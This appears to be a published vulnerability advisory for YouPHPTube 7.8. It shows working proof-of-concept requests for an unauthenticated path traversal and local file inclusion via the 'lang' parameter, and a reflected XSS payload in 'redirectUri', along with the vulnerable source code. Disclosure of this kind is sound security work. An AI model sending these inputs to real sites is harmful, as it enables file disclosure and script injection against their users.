YouPHPTube 7.8 Local File Inclusion / Directory Traversal

`# Exploit Title: YouPHPTube <= 7.8 - Multiple Vulnerabilities  
# Discovery by: Rafael Pedrero  
# Discovery Date: 2021-01-31  
# Vendor Homepage: https://www.youphptube.com/  
# Software Link : https://www.youphptube.com/  
# Tested Version: 7.8  
# Tested on: Windows 7, 10 using XAMPP  
  
# Vulnerability Type: LFI + Path Traversal  
  
CVSS v3: 7.5  
CVSS vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N  
CWE: CWE-829, CWE-22  
  
Vulnerability description: YouPHPTube v7.8 allows unauthenticated directory  
traversal and Local File Inclusion through the parameter in an  
/?lang=PATH+TRAVERSAL+FILE (without php) GET request because of an  
include_once in locale/function.php page.  
  
Proof of concept:  
  
To detect: http://localhost/youphptube/index.php?lang=)  
  
An error is generated:  
  
Warning: preg_grep(): Compilation failed: unmatched parentheses at offset 0  
in C:\xampp\htdocs\YouPHPTube\locale\function.php on line 47  
  
In function.php page, we can see:  
  
// filter some security here  
if (!empty($_GET['lang'])) {  
$_GET['lang'] = str_replace(array("'", '"', """, "'"),  
array('', '', '', ''), xss_esc($_GET['lang']));  
}  
  
if (empty($_SESSION['language'])) {  
$_SESSION['language'] = $config->getLanguage();  
}  
if (!empty($_GET['lang'])) {  
$_GET['lang'] = strip_tags($_GET['lang']);  
$_SESSION['language'] = $_GET['lang'];  
}  
@include_once  
"{$global['systemRootPath']}locale/{$_SESSION['language']}.php";  
  
  
The parameter "lang" can be modified and load a php file in the server.  
  
  
In Document root: /phpinfo.php with this content:  
  
<?php echo phpinfo(); ?>  
  
  
To Get phpinfo.php: http://127.0.0.1/youphptube/?lang=../../phpinfo  
  
Note: phpinfo without ".php".  
  
The new Path is:  
@include_once "{$global['systemRootPath']}locale/../../phpinfo.php";  
  
And you can see the PHP information into the browser.  
  
  
  
# Vulnerability Type: reflected Cross-Site Scripting (XSS)  
  
CVSS v3: 6.5  
CVSS vector: 3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N  
CWE: CWE-79  
  
Vulnerability description: YouPHPTube 7.8 and before, does not sufficiently  
encode user-controlled inputs, resulting in a reflected Cross-Site  
Scripting (XSS) vulnerability via the  
/<YouPHPTube_path_directory>/signup?redirectUri=<XSS>, in redirectUri  
parameter.  
  
Proof of concept:  
  
http://localhost/  
<YouPHPTube_path_directory>/signup?redirectUri='"()%26%25<ScRipt>alert(1)</ScRipt>  
  
  
`